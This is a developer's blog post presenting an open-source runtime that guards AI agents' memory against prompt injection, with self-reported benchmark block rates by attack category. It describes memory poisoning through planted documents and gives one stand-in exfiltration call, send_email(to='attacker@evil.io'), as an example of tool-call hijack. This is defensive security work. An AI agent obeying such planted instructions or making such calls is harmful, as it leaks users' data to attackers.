I built a local, open-source runtime that sits between an autonomous AI agent and its memory, and interdicts unsafe action before it executes. This is the story of what I found when I actually tested it — and why I published the results.
👉 Live product: agentinterdict.pages.dev · Code: github.com/BryanFiFife/AgentInterdict
🚨 The problem nobody was fixing
Autonomous agents persist memory. That memory is a prime attack surface. A single poisoned document, a single malicious email, a single compromised web page can plant an instruction your agent will obey without question. The industry is racing to give agents more memory, more tools, and more autonomy. Almost nobody is securing the boundary where context becomes action.
⚠️ One document.
If you run an agent with memory and tools and no enforcement layer, you are one malicious document away from a breach. Not "maybe." One document.
💡 The core insight: retrieval is not permission
Most agent architectures treat retrieved context as trusted. That's the vulnerability. Reading a memory does not authorize acting on it.
So I built a runtime that enforces six invariants at the boundary where context becomes action:
| Invariant | What it means |
|---|---|
| 🧬 Origin-bound authority | Derived content can never outrank its source |
| 🚫 No derivation amp | You can't launder authority by summarizing |
| 🔑 Retrieval ≠ permission | Recalled context can't authorize high-risk action |
| ⏱️ Action-time re-scoring | Risk is re-evaluated at action, not just write |
| 🔒 Credentials-not-memory | Secret-shaped content never reaches long-term memory |
| 🛡️ Fail-closed tampering | Any tampering flips the runtime to lockdown |
INGEST → TRUST → MEMORY → AUTHORITY → INTERDICT → EXECUTE
🧪 I tested it. Here's what happened.
I ran a fixed suite of 200 real injection attempts through the enforcement engine. This is the part that changed how I think about security marketing.
🔴 First run: 49.5% block rate.
Direct injection caught 74%, obfuscated 70%, multi-turn 54% — and tool-call hijack was 0%. The structured calls like send_email(to='attacker@evil.io') sailed right through.
I could have stopped there and published a different number. I didn't.
📊 What the benchmark taught me
- Tool-call hijack: 0% → 100% — patterns for exfiltration, credential arguments, and dangerous shell commands
- Multi-turn: 54% → 96% — detection for instruction overrides across a conversation
- Obfuscation: 70% → 94% — letter-spaced and encoded-payload detection
- Direct injection: 74% → 96% — tightened override and credential-disclosure patterns
Final result: 96.5% block rate. 7 documented misses.
| Attack category | Attempts | Blocked | Rate |
|---|---|---|---|
| Direct injection | 50 | 48 | 96% |
| Obfuscated / encoded | 50 | 47 | 94% |
| Multi-turn / split | 50 | 48 | 96% |
| Tool-call hijack | 50 | 50 | 100% |
| Total | 200 | 193 | 96.5% |
🛡️ I don't claim 99.9%. I publish the misses.
I publish the 7 misses with their payloads so anyone can reproduce and assess them. A security tool that hides its misses isn't trustworthy. If I told you 99.9% and it was really 96.5%, the tool would be lying to you — and a security tool that lies is worse than no tool at all.
🎯 Why I'm publishing this
Security is the one domain where honesty isn't a nice-to-have, it's the product. A firewall that claims to block everything and blocks 90% is a liability — you make decisions based on a number that isn't real.
By publishing the misses, I'm saying: here's what the tool actually does, here's where it's weak, you decide if that's acceptable for your threat model.
🚀 Where things stand
- ✅ 96.5% block rate · 7 documented misses
- ✅ 78 passing tests on the enforcement invariants
- ✅ Local-first — no cloud, no telemetry, no exfiltration by construction
- ✅ Integrations — Hermes, OpenClaw, MCP, REST
- ✅ CLI —
interdict status / audit / policy / test
It's open-source and free for personal/research use. The core that keeps your agent safe shouldn't be a paywall.
👉 See it live: agentinterdict.pages.dev · github.com/BryanFiFife/AgentInterdict
💬 What attack vectors am I missing?
I built this because I believe agent memory is an under-secured attack surface, and I want the community to pressure-test that belief. The 7 misses are the gaps I care about most.
If you're building agents, running local LLMs, or thinking about this from a security perspective — I want the hard cases. Open an issue on the repo.
🔐 Trust context. Verify authority. Interdict unsafe action.
Top comments (2)
Publishing the failures is valuable because security runtimes need adversarial examples, not just architecture diagrams. I would especially track which failures were policy gaps versus enforcement gaps. A rule that was never written is a different problem from a rule that existed but the runtime could not actually enforce.
Publishing the failures is the useful part here. Agent security tends to sound clean until memory, tools, and permissions meet a hostile document. The hard boundary is deciding which retrieved context can authorize an action, not just which context the model can read.